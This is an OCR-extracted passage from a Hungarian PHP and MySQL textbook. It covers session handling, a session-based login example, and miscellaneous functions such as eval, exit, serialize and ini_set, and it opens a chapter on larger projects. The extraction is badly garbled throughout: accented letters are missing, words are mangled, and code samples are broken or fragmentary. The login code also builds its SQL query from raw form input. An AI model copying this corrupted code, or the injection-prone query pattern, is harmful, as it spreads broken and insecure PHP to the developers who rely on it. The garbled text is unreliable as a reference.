A PHP alaprtelmezsben munkamenetekkel hasznlja a stiket. Ha lehetsges, sti jn ltre a munkamenet-azonost trolsra. A msik lehetsges mdszer a munkamenet-azonost hozzadsa az URL-hez. Bellthat, hogy sti ltrehozsa helyett automatikusan ez trtnjen; ehhez be kell kapcsolnunk a ph p. ini fjlban a session.u se_ trans_sid direktvt (alapr telmezsben ez ki van kapcsolva). Bekapcsolsval azonban vatosan kell bnnunk, mert nveli az oldal biztonsgi kockzatt. Ha bekapcsoljuk a direktvt, a felhasznl e-mailben msoknak is elkldheti a munkamenet-azonostt tartalmaz URL-t, az URL-t nyilvnosan elrhet szmtgp is eltrolhatja, illetve egy ilyen gp bngszjnek elzmnyei vagy knyvjelzi kztt is elrhet lehet. A munkamenet-azonostt manulisan is begyazhatjuk a hivatkozsokba. Az azonostt a SID konstans trolja. Manulis tadshoz a
GET
(XXS) tmadsokat.)
Munkamener-vezrls PHP-ben
351
rdemes megemlteni, hogy ezek a lpsek nem feltrlenl ugyanabban a kdban trtnnek, s van kztk olyan, amely tbb kdban is elfordul. Vizsgljuk meg egyenknt a fenti lpseket!
Munkamenet indtsa
A munkamenechez ktd funkcik hasznlata eltt el kell indtani a munkamenetet. Krflekppen tehetjk meg ezt. Az els s legegyszerbb mdja, ha a kdot a session_start() fggvny meghvsval indtjuk:
session start();
A fggvny ellenrzi, van-e folyamatban munkamenet. Ha nincsen, a szupergloblis $_SESSION tmbhz hozzfrst engedve lnyegben ltrehoz egyet. Folyamatban lv munkamenet esern a session_start () fggvny beclti a regisztrlt munkamenet-vltozkat, hogy hasznlni tudjuk ket. Fontos, hogy a session _start () fggvnyt a munkamenetekkel dolgoz minden kd elejn meghvjuk. Ha ezt elmu lasztjuk, a munkamenetben trolt informcik nem lesznek kdunk szmra elrhetk. A munkamenet megkezdsnek msodik mdja, ha gy lltjuk be a PHP-t, hogy automatikusan munkameneret indtson minden alkalommal, amikor ltogat rkezik
a az
csalsval teherjk ezr meg; ezt a megkzeltst akkor fogjuk megvizsglni, amikor a konfigurlssal foglalkozunk majd. Ennek mdszernek van egy nagy htrnya: ha az auto_start be van kapcsolva, objektumokat nem hasznlhatunk munkame ner-vlcozknt. Ennek oka, hogy az objektum osztlydefinciit a munkamener elindtsa elre be kellene tlteni ahhoz, hogy
a munkamenetben ltrejhessenek az objektumok.
Munkamenetvltozk regisztrlsa
A kzelmltban megvltozott a munkamenet-vlcozk regisztrlsnak PHP-beli mdszere. A4.1-es verzi ra a munkamener vlrozkar a$_SESSION tmb trolja. Munkamenec-vlcoz ltrehozshoz egyszeren megadjuk e tmb egy elemr, pldul gy:
$_SESSION['sajat_valtozo'] = 5;
23
Az gy ltrehozott munkamener-vlcoz a munkamenet vgig vagy addig hasznlhat, amg manulisan nem trljk. A munkamenet a php. ini f:ijl session.gc_maxlifetime bellrsnak rtkrl fggerr magrl is vget rher. Ez
a
bellts hatrozza meg a munkamenet msodpercben kifejezett idtartamt; ha ez letelik, a szemcgyjt {garbage colleetor)
Munkamenetvltozk hasznlata
A munkamener-vltozk hatkrbe hozshoz munkamenetet kell nyitni a session_start () meghvsval. ( A harkrbe hozsra a munkamener -vltoz hasznlhatsga miatt van szksg.) Ezr kvererr a $_SESSION szupergloblis rmbn ke resztl rhetjk el a megfelel vltozr-pldul gy: $_ SESSION[ 'sajat_valtozo'] . Ha objektumot hasznltunk munkamener-vlrozknt, fontos, hogy a session_start ()
az
osztly definilsa. Ezzel bizrosrjuk, hogy a PHP tisztban legyen vele: hogyan kell ltrehoznia a munkamenec-objektumor. gyeljnk, amikor- pldul az isset() vagy empty () fggvnnyel-ellenrizzk, hogy a munkamener-vlrozkar
belltottlc-el Emlkezhetnk r, hogy a felhasznJk GET vagy POST mdszerrel llthatjlc be a vltozkat. A$_SESSION tmbbel dertherjk ki, hogy egy adott vltoz vajon regisztrlt munkamener-vlroz-e. Pldul a kvetkez mdon ellenrizhetjk ezt:
if (isset($_SESSION['sajat_valtozo'])) ...
352
23. fejezet
s a session_unset ()
szksges, sem nem nlott. Ezeket a fggvnyeket a $_SESSION bevezetse eltt vehettk ignybe. Vletlenl se prbljuk meg a teljes$_SESSION tmbt trlni, mert ezzel lnyegben kikapcsolnnk a munkameneteket! Ha egyszerre kvnjuk trlni
$_SESSION = array{);
a:z
utastst! Ha befejeztk a munkt egy adott munkamenettel, elszr trljk a:z sszes vltozjt, majd a session_destroy() ; fggvnyt meghvva szabadtsuk fel a munkamenet azonostjt!
vltozt. A:z eh
23
23.1 bra: A munkamenet-vltoznak az oldal l. ph p fjl ltal megjelentett rtke. A vltoznak az ezen az oldalon felvett utols rtke lesz a kvetkez oldalakon elrhet. A kd vgn a munkamenet-vl tozt szerializltuk, vagyis rtke rgztve van mindaddg, amg a session_start (} kvetkez meghvsval jbl be nem tltjk a vltozt. A kvetkez kdot ezrt a session_start ( ) meghvsval kezdjk. Ezt a kdot a 23.2 pldakd tartalmazza. 23.2 pldakd: oldal2. ph p- Munkamenet-vltoz elrse s megszntetse
<?php session start(}; echo 'A$ SESSION[\'munkamenet_valtozo\'1 tartalma:'
Munkamenet-vezrls PHP-ben
353
[ 'munkamenet_valto zo' l
----..-.Il
23.2 bra: A munkamenet-vltoz rtke a munkamenet-azonostval lett az oldal 2.phpfjlnak tadva. Hasznlata utn trljk a vltozt. A munkamenet tovbbra is ltezik, a$_SESSION['munkamenet_valtozo' l
toz viszont nem.
vl
Vgl nzzk az oldal3.php fjlt, pldnk utols kdjt, amit a 23.3 pldakd tartalmaz! 23.3 pldak.d: oldal3.php -A munkamenet befejezse <?php
session start();
tartalma:
session_destroy();
?>
Miknt a 23.3 brn lthatjuk, a$_SESSION [ 'munkamenet_ valtozo' l rgztett rckt immr nem tudjuk elrni.
23
AS_S&SS!ONf....__"_,_
$_SESSION tmb elemeir. Ha gy ltjuk, hogy nem tudjuk trlni az elemeket (vagyis azok belltva maradnak), rdemes
fggvnnyel megksrelni ezen vltozk trlst. meghvsval fejezzk be, hogy felszabadtsuk a munkamenet-azonostt.
Hatsa
(percben).
354
23. fejezet
Bellts neve
session.cookie domain session.cookie lifetime
Alaprtelmezett rtke
none
Hatsa
A munkamenetstiben bellrhat domaint hatrozza meg. Meghatrozza, hogy mennyi ideig l a felhasznl gpn a mun kamenet-azonostt tartalmaz sti. Az alaprtelmezerr O rtk esetn a sti a bngsz bezrsig fog lni.
session.cookie_path
l
PHPSESSID
A munkamenetstiben bellthat elrsi tvonalat hatrozza meg. A munkamenet nevt hatrozza meg. Ez lesz a sti neve a fel hasznl rendszern. A munkamenet adatainak trolsi helyt hatrozza meg. A bel ltst mdosthatjuk gy, hogy adatbzisra (database) mutasson, m ebben az esetben st fggvnyeket kell rnunk.
session.name
session.save handler
files
session.save_path
A munkamenetadatok trolsnak elrsi rvonalt hatrozza meg. ltalnosabban gy is fogalmazharunk, hogy a session.
save_handler
Belltja, hogy a munkamenetek stiket hasznljanak a kliens oldalon. Belltja, hogy a stik kizrlag biztonsgos kapcsolaton keresz tl legyenek elkldve. A munkamenet-azonostk ellltsra szolgl hash algorit SHA-1 (160 bites) algoritmust jelenti. Ez a konfigurcis bell ts a PHP 5-s verzijban jelent meg. must hatrozza meg. A.O" az MD5 (128 bites), az "l " pedig az
session.cookie secure
session.hash function
23
Hitelests munkamenet,vezrlssel
A fejezet most kvetkez, utols rszben a munkamenet-vezrlsnek egy igen fontos alkalmazsi terlett lthatjuk. A munkamenet-vezrlst a leggyakrabban taln a valamilyen bejelentkezsi mechanizmussal hitelestett felhasznlk nyo mon kvetsre hasznljk. A most kvetkez pldnkban ennek Iehetsgc a MySQL adatbzis segtsgvel elvgzett hitele srst s a munkamenetek hasznlatt rvzve teremtjk meg. Ez kpezi majd a 27. fejezet projektjnek az alapjt, s ms pro jektben is felhasznljuk majd ezt a funkcit. A 17. fejezetben ltrehozott hitelestsi adatbzist fogjuk most jbl felhasznlni. Ennek az adatbzisnak a rszleteit a 17.3 pldakdbl idzhetjk fel. A plda hrom egyszer kdbl ll. Az els, a hitelesites.php bejelentkezsi felletet s hitelestse knl fel a weboldal regisztrlt tagjainak. A msodik, a cs ak_tagoknak.php kizrlag a sikeresen bejelentkezert felhasznlk szmra jelent meg informcit. A harmadik, a ki j elen tkezes.php kddal pedig Icijelentkezhetnek a felhasznlk. A plda mkdsnek megrtshez nzzk meg a 23.4 brt, amely a hi telesi tes.php ltal megjelentert kezdoldalt mutatja!
t---+- w
GM..-..,.1Gomb- o-v;.a:o-iGiii& J ac... __ i
---
23.4 bra: Mivel a felhasznl mg nincsen bejelentkezve, bejelentkezsi felletet kell szmra megjelenteni.
Az oldal bejelentkezsi felletet ad a felhasznlknak. Amennyiben bejelentkezs nlkl ksrlik meg megtekinteni a "Tagok
nak fenntartort tartalmak " -at, a 23.5 brn lthat zenetet kapjk.
Munkamenet-vezrls PHP-ben
355
23.5 bra: A
be nem jelentkezett ltogatk nem ltha9k az oldal tarta/mt, helyette ez az zenet jelenik meg.
Ha azonban a felhasznl elszr bejelentkezik (a 17. fejezetben belltott teszt_felhasznalo felhasznli nv s jelsz prossal), majd megprblja elrni a"Tagoknak fenntartott tartalmak" cm rszt, akkor a 23.6 brn lthat kimenet jelenik meg bngszjben. Nzzk meg elszr az alkalmazs kdjt! A kd nagy rszt a 23.4 pldakdban lthat hitelesites.php fjl tartal mazza. A ksbbiekben majd lpsrl lpsre is vgigmegynk a kd mkdsn.
jelszo
_;_;,;n;---.... - ---oi:'t-
fN- ....... ---..-.M'
23.6 bra:
Bejelentkezs utn mr hozzfrnek aJelhasznlk a csak a tagoknak fenntartott tartalmakhoz. hitelestsi vgrehajt alkalmazs f rsze
23
&&
if (isset($_POST['felhasznaloi_nev'])
isset($_POST['Jelszo']))
'webeshitelesites',
'webeshitelesites',
$lekerdezes
'SELECT
356
23.fgezet
$adatbazis kapcsolat->close(); ?> <html> <body> <hl>Nyitoldal</hl> <? if (isset($ SESSION['ervenyes felhasznalo']))
{
echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />'; echo '<a href="kijelentkezes.php">Kijelentkezs</a><br />'; else
if (isset($felhasznaloi nev))
ll ha a felhasznl megprblt,
23
echo '<form method="post" action="hitelesites.php">'; echo '<table>'; echo '<tr><td>Felhasznli nv:</td>'; echo '<td><input type="text" name="felhasznaloi nev"></td></tr>'; echo '<tr><td>Jelszo:</td>'; echo '<td><input type="password" name="jelszo"></td></tr>'; echo '<tr><td colspan="2" align="center">'; echo '<input type="submit" value="Bejelentkezs"></td></tr>'; ech o '</table></form>'; ?> <br /> <a href="csak_tagoknak.php">Tagoknak fenntartott tartalmak</a> </body> </html>
A fenti kd az eddig ltottaknl kiss sszetettebb logikval mkdik, mert egyrszt megjelenti a bejelentkezshez szks ges rlapot (felletet), msrszt ez a kd egyttal az rlap ltal meghvott mvelet, harmadrszt a sikeres s sikertelen bejelent kezsi ksrletre vlaszu! adott HMTL kdot is tartalmazza. A kd mkdse az ervenyes_felhasznala munkamenet-vltoz krl forog.Az alapgondolat az, hogy ha valaki sikeresen bejelentkezik, akkor ltrehozunk egy $_SES SI ON ['ervenyes_felhasznalo' J jt tartalmaz munkamenet-vltozt. Els lpsnk a kdban a session_start() fggvny meghvsa. Ez betlti az ervenyes felhasznala munkame
_
net-vltozt, feltve, hogy az mr ltre lett hozva. Amikor elszr fut le a kd, az if feltteles utastsok egyike sem teljesl, gy a felhasznl a kd vgre jut, ahol kzljk vele, hogy mg nem jelentkezett be, s megjelentjk szmra az erre szolgl felletet:
echo '<form method="post" action="hitelesites.php">'; echo '<table>';
Munkamenet-vezrls PHP-ben
357
echo '<tr><td>Jelszo:<ltd>'; echo '<td><input type="password" name="jelszo"><ltd><ltr>'; echo '<tr><td colspan="2" align="center">'; echo '<input type="submit" value="Bejelentkezs"><ltd><ltr>'; echo '<ltable><lform>';
Amikor a felhasznl a bejelentkezsi fellet .. Bejelentkezs" gombjra kattint, jbl meghvjuk a kdot, s annak ele jrl indul minden jra. Most azonban mr rendelkeznk a hitelestshez szksges felhasznli nvvel s jelszval, ami
a$_POST['felhasznaloi_nev' l
{
ll ha a felhasznl megprbl bejelentkezni $felhasznaloi_nev = S_POST['felhasznaloi_nev']; $jelszo = $ POST['jelszo'];
'webauth',
'webauth',
'auth');
$lekerdezes
'SELECT
j elszo=shal('Sjelszo')";
$adatbazis_kapcsolat->query($lekerdezes);
23
MySQL adarbzishoz kapcsoldunk, s ellenrizzk a felhasznli nevet s jelszc. Amennyiben tallunk megfelel nv jelsz prt, ltrehozzuk a $_SESSION['ervenyes_ felhasznalo'] vlcozt, amely az adott felhasznl felhasznli nevt tartalmazza. Ezzel a ksbbiekben kveeni tudjuk, hogy ki is az, aki be van jelentkezve:
if ($eredmeny->num_rows)
$adatbazis kapcsolat->close();
Mivel tudjuk, hogy ki a felhasznl, nem szksges neki jbl megjelenteni a bejelentkezsi felletet. Helyette kzljk vele, hogy tudjuk, ki , s felkinljuk a kijelentkezs lehetsgc:
if (isset($_SESSION['ervenyes_felhasznalo']))
echo 'Bejelentkezve '.$ SESSION['ervenyes_felhasznalo'] .' felhasznli nven<br l>'; echo '<a href="kijelentkezes.php">Kijelentkezs<la><br l>';
Ha a felhasznl megprblt bejelentkezni, de az valamilyen oknl fogva nem sikerlc, akkor bireokunkban lesz ugyan a fel hasznli neve, de a $_ SESSION [ 'ervenyes_felhasznalo'] vltoz nem, ezrt hibazenetet jelentnk meg neki:
if (isset($felhasznaloi_nev))
ll ha a felhasznl megprblt,
Ennyi a kd f rsze. Nzzk meg mosc a ragoknak fenntartott oldalakat! Ennek kdja a 23.5 pldakdban lthat.
358
23.fezet
23.5 pldakd: csak_tagoknak.php-A honlap tagoknak fenntartott rsznek kdja ellenrzi a Jelhasznlk jogosultsgt
<?php session start(); echo '<hl>Tagoknak fenntartott tartalmak</hl>';
ll munkamenet-vltoz ellenrzse
if (isset($ SESSION['ervenyes felhasznalo'])) echo 'Bejelentkezve '.$_SESSION['ervenyes felhasznalo'] .' felhasznli nven<br />'; echo '<p>Ide kerlnek a tagoknak fenntartott tartalmak</p>';
else echo '<p>Nincs bejelentkezve.</p>'; echo '<p>Csak bejelentkezett felhasznlk tekinthetik meg az oldalt.</p>';
A kd egyszeren elindt egy munkamenetet, majd azt ellenrizve, hogy a$_SESSION['ervenyes_felhasznalo'] vltoz rtke meg van-e adva, megllaptja, hogy az aktulis munkamenet tartalmaz-e regisztrlt felhasznlt. Amennyiben a felhasznl bejelentkezett, megjelentjk szmra a tagoknak fenntartott tartalmat, ellenkez esetben kzljk vele, hogy nincs jogosultsga annak megrekintsre.
23
Vgezetl a kijelentkezes.php kd kilpteti a felhasznlt a rendszerbl. A kdot a 23.6 pldakd tartalmazza. 23.6 pldakd: kijelentkezes.php -A kd trli a munkamenet-vltozt, s megsznteti a munkamenetet
<?php session start();
$regi felhasznala = $_SESSION['ervenyes felhasznalo']; unset($_SESSION['ervenyes_felhasznalo']); session_destroy(); ?> <html> <body> <hl>Kijelentkezs</hl> <?php if (1empty($regi felhasznalo)) echo 'Sikeresen kijelentkezett.<br />';
else
Munkamener-vezrls PHP-ben
359
A kd egyszer, de itt is furnunk kell egy krt. Elindtjuk a munkamenerer, elrroljuk a felhasznl rgi felhasznlnevr, t
rljk az e r ve n yes_ fe l has z na l o vltozr, majd megsznretjk a munkamenerer. Ezr kveten zeneret jelentnk meg
a
felhasznlnak, amelynek rarralma arrl fgg, hogy sikeresen kijelenrkezerr, vagy be sem volt jelentkezve.
A mosr lrorr kdok egyszer sorozara alkotja majd az alapjr annak a sok munknak, amir a ksbbi fejezerekben elvgznk.
Tovbbi olvasnival
A srikrl bvebben a htrp://wp.nerscape.com/ newsreff std/cookie_spec.hrml oldalon olvashatunk.
Hogyan tovbb:
Ezzel egy fejezet hjn befejeztk a knyv ezen rszr. Mielrr tovbblpnnk a nagy projekrekre, rviden mg megismerke dnk a PHP ms fejezerekben nem trgyalt, mgis hasznos funkciival.
23
24
Tovbbi hasznos lehetsgek PHP ben
...
A PHP szmos olyan, hasznos fggvnnyel s funkcival is rendelkezik, amely nem volt beilleszthet az eddig trgyalt rmak rkbe. A fejezetben ezeket fogjuk bemutatni. Az albbi fbb tmakrkkel foglalkozunk: Karakterlncok kirtkelse az Vgrehajts lellrsa a
die eval ( )
fggvnnyel
s az exit urasrssal
urasrs pldul fogja a szering tartalmt s vgrehajtja. Ez a sor ugyanazt a kimenetet eredmnyezi, mint az
echo 'Hell, vilg';
Az eval
()
fggvny szmos esetben hasznunkra vlhat. Kpzeljk el pldul azt, hogy a kdblokkokat adatbzisban trol
juk, hogy a ksbbiekben valamikor vgrehajtsuk azokat! Az is elkpzelhet, hogy ciklusban lv kdot szeretnnk ellltani, majd az eval () segtsgvel egy ksbbi idpontban lefuttatjuk. Az eval () fggvnyt leggyakrabban azonban taln a sablonokkal vgzett munka sorn hasznljuk. Kpzeljk el, hogy adatbzisbl HTML, PHP s egyszer szveg tetszleges kombincijt tltjk be! Sablonrendszernkkel megfelel form zst alkalmazharunk a kdra, majd az eval ( ) fggvny meghvsval brmilyen PHP kdot lefuttatharunk. A fggvny kivlan alkalmas meglv kd frisstsre vagy kijavtsra is. Ha komolyabb mennyisg olyan kdunk len ne, amely elrelthatlag mdostsra fog szorulni, rhatnnk olyan programot, amely karakterlncba tlti be a rgi kdot, a regexp futtatsval vgrehajtja a vltoztatsokat, majd az eval () fggvnnyel futtatja a mdostott kdot. (Elvileg ugyan valban megrehetjk ezt, mgsem ez a leghatkonyabb megolds az ilyen esetekre.) Akr az is megoldhat a fggvnnyel, hogy nagyon megbzhat felhasznlknak lehetsget adjunk PHP kd tvoli, bng szn keresztli bevitelre s a kiszolgln val futtatsra.
Nincsen visszatrsi rtke. Alkalmazhatjuk helyette aliasr, a die () fggvnyt is. Hasznosabb tehetjk a kd lelltst, ha paramtert adunk t az ex i t () fggvnynek. Ezzel a mdszerrel hibazenetet jelenthetnk meg. vagy akr fggvnyt futtatharunk a kd lelltsa eltt. Ez a megkzelts minden bizonnyal ismersnek hat a Perl-programozk szmra. Pldul:
exit('A kd most vget r');
362
24. fejezet
Ennl azonban gyakrabban elfordul, hogy az OR opertorral egytt hasznljuk ezeker az utastsokat. Ebben az esetben a kd lellrsra akkor kerl sor, ha az utasts, pldul f:ijl megnyitsa vagy adarbzishoz kapcsolds nem sikerl:
mysql_query($lekerdezes) or die('A lekrdezst nem sikerlt vgrehajtani');
Pusztn a hibazenet megjelentse helyett meghvharunk mg egy, a kd lelltsa eltti utols fggvnyt:
function err_msg()
Ezzel a mdszerrel kzlhetjk a felhasznlval, hogy milyen hiba trtnt a kdban, lezrharunk HTML elemeket, vagy trlhetjk a flksz oldalakat a kimeneti pufferbL Lehetsgnk nylik akr arra is, hogy komolyabb hiba esetn e-mailben ttestsk sajt magunkat, hozza<ljuk a hibkat a naplfjlhoz, vagy kivtelt vltsunk ki.
Ha nem egyrtelm szmunkra, hogy pontosan mir tesz a szerializls, nzzk meg a serialize () fggvny ltal vissza adott rtket! A fenti sor karakterlncc alaktja az objektum vagy tmb tartalmr. Nzzk meg a serialize( ) futtatsnak eredmnyt egy egyszer, a kvetkezkppen definilt objektumon, amelynek egy pldnyt is ltrehozza az albbi kd:
class alkalmazott
24
Knnyedn felfedezhetjk az eredeti objektum s a szerializlt adar kztti kapcsolatot. Mivel a szerializlt adar egyszer szveg. adatbzisba rhatjuk, vagy brmilyen neknk tetsz dolgot vgrehajtharunk vele. Szveges adat adatbzisba rsa eltt ne feledkezznk meg a mysql_real_escape_string () fggvny hasznlatrl, ami vel vdkarakterrel lrharjuk el a klnleges karaktereket! Az elbbi szerializlr karakterlncban lv idzjelek is jelzik ennek szksgessgt. Ha szerernnk visszakapni objektumunkat, az unserialize () fggvnyt kell meghvni:
$uj_objektum = unserialize($szerializlt_objektum);
Az osztlyok szerializlsval vagy munkamener-vlrozknt trtn hasznlarukkal kapcsolatban mg egy fontos dolgot meg kell emltennk: a PHP-nek az osztlypldny helyrelltsa eltt tisztban kell lennie az adott osztly szerkezetvel, ezrt a session_start() s az unserialize () fggvny meghvsa eltt be kell illesztennk a kdba az osztlydefincit tar talmaz llomnyt.
363
Informcigyjts
PHP-krnyezetrl
/>';
$bovitmenyek
get_loaded_extensions();
echo echo
$bovitmenyek_fuggvenye1
foreach($bovitmenyek_fuggvenyei as $fuggveny)
{
echo "<li> $fuggveny </li>";
echo '</ul>';
?>
Lthatjuk, hogy a get_loaded_ extensions () fggvnynek nincsenek paramterei, a get_extension_funcs () pedig egyeden paramtert, a bvtmny nevt vrja. A kd kimenetben rallhat informcik birtokban meggyzdhetnk arrl. hogy sikeresen teleptettk-e valamely b vtmnye, illetve akkor is hasznos lehet, ha teleptskor rtelmes hibazeneteket elllt, opercis rendszerektl fggetlen, hordozhat kdot prblunk meg rni.
24
A kd tulajdonosnak azonostsa
Az ppen fut kd tulajdonost a get_current_user() fggvny meghvsval llapthatjuk meg:
echo get_current_user();
interneten, hogy az egyes oldalakon megjelentik a tartalom utols mdostsnak dtumt. A kd utols
mdostsnak idpontjt a getlastmod () fggvnnyel derthetjk ki. Figyeljk meg, hogy a fggvny nevben nincsen alul vons! A kvetkezkppen hasznljuk:
echo date('g:i a, j
M
Y',getlastmod());
A getlastmod() fggvny Unix idblyeggel tr vissza, amit a date () fggvnynek tadva kapunk az emberi szem sz mra olvashat dtumot.
364
24. fejezet
vltozinak tlltsa
120);
/>";
$regi_max_execution_time <br
$max_execution tme = ini get('max execution tme'l; echo "idtllps j hatra: $max_execution time <br
/>";
?>
Az ini_set(l fggvny kt paramtert fogad. Az els a php.ini azon konfigurcis direktivjnak a neve,amit mdo stani kvnunk, msodik paramter pedig a hozzrendelni kvnt j rtk. A fggvny visszatrsi rtke a direktva elz a rtke. A pldban a kd maximlis futsi idejt az alaprtelmezett 30 msodperces (vagy a php. ini fjlban meghatrozott ms) rtkrl l 20 msodpercre lltjuk t. Az ini_get() fggvny egyszeren csak ellenrzi egy adott konfigurcis direktva rtkr. A fggvnynek karakterlnc knt kell tadni a direktva nevt. Itt most pusztn arra hasznljuk,hogy ellenrizzk, tnyleg megvltozott-e az adott rtk. Nem minden ini bellts mdosthat gy. Minden direktivhoz tartozik egy szint, amelyen az adott direktva bellthat. A lehetsges szintek a kvetkezk: PHP_INI_USER-Az ini_set(l fggvnnyel kdjainkban is bellthatjuk ezeket az rtkeket. PHP_INI_PERDIR-Apache hasznlata esetn a php.ini vagy a . htaccess vagy a httpd.conf fjlokban m dosthatjuk ezeket az rtkeket. Az,hogy a .htaccess fjlokban is mdosthatk,azt jelenti,hogy ezeket az rtkeket akr knyvtranknt is megvltoztathatjuk -innen a szint neve (per-directory). PHP_INI_ SYSTEM -A php.ini s a httpd. conf fjlokban llthatjuk be ezeket az rtkeket. PHP_INI_ALL -Az sszes elbb emltett mdon-vagyis kdban,. htaccess f:ijlban vagy a httpd.conf vagy
24
php. ini
Az ini belltsok teljes listjt, illetve mdosthatsgi szintjeiket a PHP kziknyv http://www.php.net/ini_set cmen elrhet oldaln talljuk.
Forrskd sznkiemelse
A PHP- sok ms integrlt fejlesztkrnyezethez (IDE) hasonlan-beptett szintaktikai sznkiemelvel rendelkezik. Ez elssorban akkor igazn hasznos,ha megosztjuk msokkal, vagy weboldalon tesszk kzz kdunkat. A show_source () s highlight_file (l fggvny egymssal teljesen megegyezik. (A show_source(l fggvny tulaj donkppen a highlight_file() aliasa.) Mindkt fggvny fjlnevet vr paramterknt. (Az llomnynak PHP fjlnak kell lennie, klnben nem fogunk rtelmes eredmnyhez jutni.) Nzzk meg a kvetkez pldt:
show_source('fuggvenyek_listaja.php'l;
A f:ijl ekkor gy jelenik meg a bngszben,hogy klnbz elemei,gy a sztringek,a megjegyzsek,a kulcsszavak s a HTML ms-ms sznnel vannak kiemelve. A kimenet valamilyen httrsznerr jelenik meg. A fenti kategrikba nem tartoz kdelemek az alaprtelmezett sznnel jelennek meg. A highlight_string() fggvny is hasonlan mkdik,m a fjlnv helyett karakterlncot vr paramterknt, s azt jelenti meg a bngszben szintaktikai sznkiemelssel. A kiemelshez hasznlt szneket a php. ini fjlban vlaszthatjuk ki. A mdosthat rsz ehhez hasonlan nz ki:
; Colors for Syntax Highlighting mode highlight.string = highlight.comment highlight.keyword
=
365
highlight.bg
*FFFFFF
A myscript.php egy teljesen ltalnos PHP fjl, amely PHP cmkken (tag) bell tartalmaz minden szoksos PHP szintaktikt. Brmilyen program kapcsoldhat a PHP-hoz pipe-on keresztl, ha annak kimenere rvnyes, a PHP rtelmez ltal vgre hajthat kdot eredmnyez. A kvetkez plda az echo programot hasznlva ad egysoros programot: echo '<?php for($il; $i<l0; $i++) echo $i; ?>' l php A PHP kdot itt is PHP cmkk (<?php s?>) fogjk kzre. Fontos megjegyezni, hogy ez itt az echo parancssori prog ram, nem pedig PHP utasts. Egy ilyen jelleg, egysoros prograrnot egyszerbb lenne kzvetlenl parancssorbl futtatni, mint az albbi pldban:
php -r 'for($il; $i<l0; $i++) echo $i;'
Itt kicsit msrl van sz. A karakterlncban radott PHP kd nincsen PHP cmkk ltal kzrefogva. PHP cmkk haszn lata esetn szintaktikai hibt kapnnk. A parancssori hasznlatra rhat hasznos PHP programok kre szinte korltlan. rhatunk PHP alkalmazsainkhoz tele ptket. sszethetnk gyors kdot a szveges fjlok adatbzisba importls eltti tformzsra. Akr olyan kdot is lt rehozhatunk, amely a parancssorban rnk vr, ismtld feladatokat vgzi el helyettnk. J plda erre egy olyan kd, amely a fejlesztshez hasznlt kiszolglnkrl az lesben mkd szerverre msolja t az sszes PHP fjlt, kpet s MySQL tbla szerkezetet.
--
Hogyan tovbb?
A Gyakorlati PHP s MySQL projektek fejlesztse cm V. rszben viszonylag sszetett, a vals vilgban is hasznos projekteket ptnk PHP s MySQL segtsgve!. Pldkat ltunk olyan feladatokra, amelyekkel vals fejlesztseink sorn tallkozhatunk, illetve zelitt kapunk abbl, hogy sszetett projektek esetn hogyan dolgozzunk a PHP-vel s a MySQL-lel. A PHP s a MySQL hasznlata nagyobb projektekben cm 25. fejezet olyan krdskrkkel foglalkozik, amelyek akkor me rlnek fel, amikor nagyobb projektekhez runk PHP kdot. Megismerkednk az olyan szoftverfejlesztsi fogalmakkal, minr a tervezs, a dokumentci s a vltozskezels.
24
v
Gyakorlati PHP s MySQL projektek fejlesztse
25
26
Hibakeress
27
28
29
30
31
32
33
34
25
A PHP s a MySQL hasznlata
nagyobb projektekben
A knyv korbbi fejezereiben a PHP s a MySQL szmos alkotelemt, illetve azok hasznlatt mutattuk be. Ugyan prbl tunk ehhez izgalmas s relevns pldkat keresni, ezek jellemzen egyszer, legfeljebb egy vagy kt szkriptbl s legfeljebb szz sorbl ll kdok voltak. Amikor valdi webes alkalmazst ksztnk, a kdirs ritkn ennyire egyszer. Nhny vvel ezeltt egy "interaktv" webol dal legfeljebb egy zenerkld rlapbl llt. Napjainkra azonban a honlapok webes alkalmazss - vagyis az interneten keresz
tl hasznlt szoftverr - nttk ki magukat. A funkcibeli vltozs mretbeli vltozst eredmnyezett. A weboldalak az gyes
kis kdokbl tbb ezer soros programokk nttek. Az ilyen mret projektek a brmely ms szaftverfejlesztshez is szksges tervezst s irnytst ignylik. Mieltt a knyv elttnk ll rszben szerepl projektekkel foglalkoznnk, vizsgljunk meg nhny olyan mdszert, ami a nagymret webes projektek menedzselsre is alkalmas! Mivel folyamatosan fejld terletrl beszlnk, nyilvnva lan nehz dolog rla rk igazsgokar rni. Ha aktulis informcira van szksgnk a tmban, rdemes krlnznnk a webfejleszts piacn is. A fejezetben az albbi fbb tmakrkkel foglalkozunk: A szaftverfejleszts gyakorlatainak alkalmazsa webfejlesztsre Webes alkalmazs projekljnek tervezse s megvalstsa Kd tbbszri felhasznlsa Kezelhet kd rsa Verzikvets megvalstsa A fejlesztkrnyezet kivlasztsa A projekt dokumentlsa Prototpuskszts A mkds, a tartalom s a megjelents sztvlasztsa: PHP, HTML s CSS Kdoptimalizls
370
25. fezer
Ha elmulasztjuk megtervezni webes projektjeinker, ugyanazokba a problmkba futunk bele, minrha szaftveres projektnl kvetnnk el ezt a hibt. Az eredmny rosszu vagy hibsan mkd alkalmazs, be nem tartott hatridk s rtekinrheteden kd lesz. A trkk teht az, hogy beazonostjuk a szaftverfejleszts azon elemeir, amelyek a webes alkalmazsok fejlesztsnek j vil gban is mkdnek, a tbbit pedig egyszeren hagyjuk figyelmen kvl!
Kd tbbszri felhasznlsa
A programozk igen gyakran eikvetik azt a hibt, hogy mr meglv kdot jra megirnak. Miurn risztban vagyunk vele, hogy az alkalmazshoz milyen alkotelemekre vagy fggvnyekre van szksgnk, ellenrizzk a fejleszts megkezdse eltt, hogy azok rendelkezsre llnak-e!
25
A PHP minr programnyelv egyik erssge a bepterr fggvnyknyvrra. Mindig nzzk meg, hogy egy meglv fggvny nem pont azt teszi-e, amire neknk szksgnk van! ltalban nem tl nehz dolog megtallni a kvnt fggvnyt. Clszer lehet ennek rdekben fggvnycsoportonknt bngszni az online kziknyvet. Elfordul, hogy a programozk vletlenl jra megirnak fggvnyeket, merr nem nztek urna a kziknyvben, hogy lre zik-e az ltaluk ignyelt funkcit berlt fggvny. Tegyk a kziknyv weboldalr kedvenceink kz! Ne felejtsk el azt sem, hogy az online kziknyver elg gyakran friss tik! A jegyzetekkel elltott online kziknyv bsges informciforrs, merr ms felhasznlk megjegyzseit, javaslatait s minrakdjait tartalmazva gyakran pontosan azokat a krdseket vlaszolja meg, amelyek a sima kziknyv olvassa kzben felmerlnek bennnk. Gyakran mr az eltt tartalmaz hibajelentseket s azokar orvosl megoldsokat, mielrr a hibt kijavtank vagy egyltaln dokumentlnk. 